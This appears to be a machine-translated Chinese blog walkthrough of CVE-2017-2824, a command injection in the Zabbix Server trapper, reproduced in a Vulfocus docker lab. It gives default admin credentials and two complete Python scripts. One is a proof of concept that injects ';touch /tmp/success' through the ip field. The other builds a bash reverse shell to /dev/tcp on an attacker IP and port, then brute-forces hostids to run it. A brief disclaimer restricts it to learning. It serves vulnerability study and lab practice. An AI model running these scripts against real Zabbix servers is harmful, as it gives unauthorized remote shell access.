当前位置:网站首页>ZABBIX server trap command injection vulnerability (cve-2017-2824)
ZABBIX server trap command injection vulnerability (cve-2017-2824)
2022-07-02 05:58:00 【H-neck white cap】
List of articles
Statement
This article is only for technology learning and vulnerability recurrence , Do not use it for unauthorized penetration testing , Bear in mind !
One 、 Vulnerability profile
Zabbix By Alexei Vladishev Developed a kind of network monitoring 、 Management system , be based on Server-Client framework . Its Server End trapper command There is a Code Execution Vulnerability in the function , Specific packets can cause command injection , Then execute the code remotely . An attacker can start from a Zabbix proxy Initiate request , Which triggers the vulnerability .
Two 、 scope
Zabbix Server 2.4.X edition
3、 ... and 、 Environment building
Vulfocus:docker pull vulfocus/zabbix-cve_2017_2824:latest
View the local image and run the vulnerability environment
docker images
docker run -d -P vulfocus/zabbix-cve_2017_2824
-d: Suspend the image from running in the background
-P: Randomly map the port that needs to be opened to the public network of this server IP On port
visit ip:port Build successfully , Use the default administrator account password to enter the background
user name :admin
password :Zabbix
next stay Configuration
Enter in the tab of Actions
with hands Event source Choose Auto registration
, Click on Create action
, Start the automatic registration function as an administrator
After the operation is completed, the automatic registration function is enabled .
Four 、 Local actual combat
POC test
Using links :https://github.com/listenquiet/cve-2017-2824-reverse-shell
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
Use ls /tmp
Check whether the command is executed successfully
rebound Shell
Exp as follows :
import sys
import socket
import json
from time import sleep
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
# target = "X.X.X.X"
target = sys.argv[1]
num = 1
exps = [';echo -n "/bin/bash" > /tmp/1.sh', ';echo -n " -i >& " >> /tmp/1.sh', ';echo -n "/dev/tcp/" >> /tmp/1.sh',
';echo -n "X.X." >> /tmp/1.sh', ';echo -n "X.X/" >> /tmp/1.sh', ';echo -n "1234 0>&1" >> /tmp/1.sh',
';/bin/bash /tmp/1.sh']
for exp in exps:
host = "vulhub" + str(num)
print(host)
print(send(target, {"request": "active checks", "host": host, "ip": exp}))
sleep(1)
num += 1
for i in range(10000, 10500):
data = send(target, {"request": "command", "scriptid": 1, "hostid": str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
perform :python3 exp.py X.X.X.X
You can see that it has rebounded Shell
Attack complete !!!
边栏推荐
- Vite打包后的dist不能直接在浏览器打开吗
- mysql的约束总结
- Go language web development is very simple: use templates to separate views from logic
- Conglin environmental protection rushes to the scientific and Technological Innovation Board: it plans to raise 2billion yuan, with an annual profit of more than 200million yuan
- Addchild() and addattribute() functions in PHP
- 3D printer G code command: complete list and tutorial
- Software testing - concept
- 脑与认知神经科学Matlab Psytoolbox认知科学实验设计——实验设计四
- [paper translation] gcnet: non local networks meet squeeze exception networks and beyond
- Redis Key-Value数据库 【秒杀】
猜你喜欢
mysql事务和隔离级别
File contains vulnerabilities (II)
软件测试答疑篇
Mathematical statistics and machine learning
【論文翻譯】GCNet: Non-local Networks Meet Squeeze-Excitation Networks and Beyond
TI毫米波雷达学习(一)
Gcnet: non - local Networks meet Squeeze excitation Networks and Beyond
3D printer G code command: complete list and tutorial
CNN可视化技术 -- CAM & Grad-CAM详解及pytorch简洁实现
Memcached installation
随机推荐
Addchild() and addattribute() functions in PHP
File contains vulnerability (I)
Go language web development is very simple: use templates to separate views from logic
Keepalived installation, use and quick start
RGB infinite cube (advanced version)
“簡單”的無限魔方
使用HBuilderX的一些常用功能
php数组转化为xml
Go 学习笔记整合
PHP inner class name is the same as the inner class method name
Go learning notes integration
c语言中的几个关键字
【論文翻譯】GCNet: Non-local Networks Meet Squeeze-Excitation Networks and Beyond
软件测试 - 概念篇
vite如何兼容低版本浏览器
Cambrian was reduced by Paleozoic venture capital and Zhike shengxun: a total of more than 700million cash
Brain and cognitive neuroscience matlab psychoolbox cognitive science experimental design - experimental design 4
The Hong Kong Stock Exchange learned from US stocks and pushed spac: the follow-up of many PE companies could not hide the embarrassment of the world's worst stock market
STC8H8K系列汇编和C51实战——串口发送菜单界面选择不同功能
php获取cpu使用率、硬盘使用、内存使用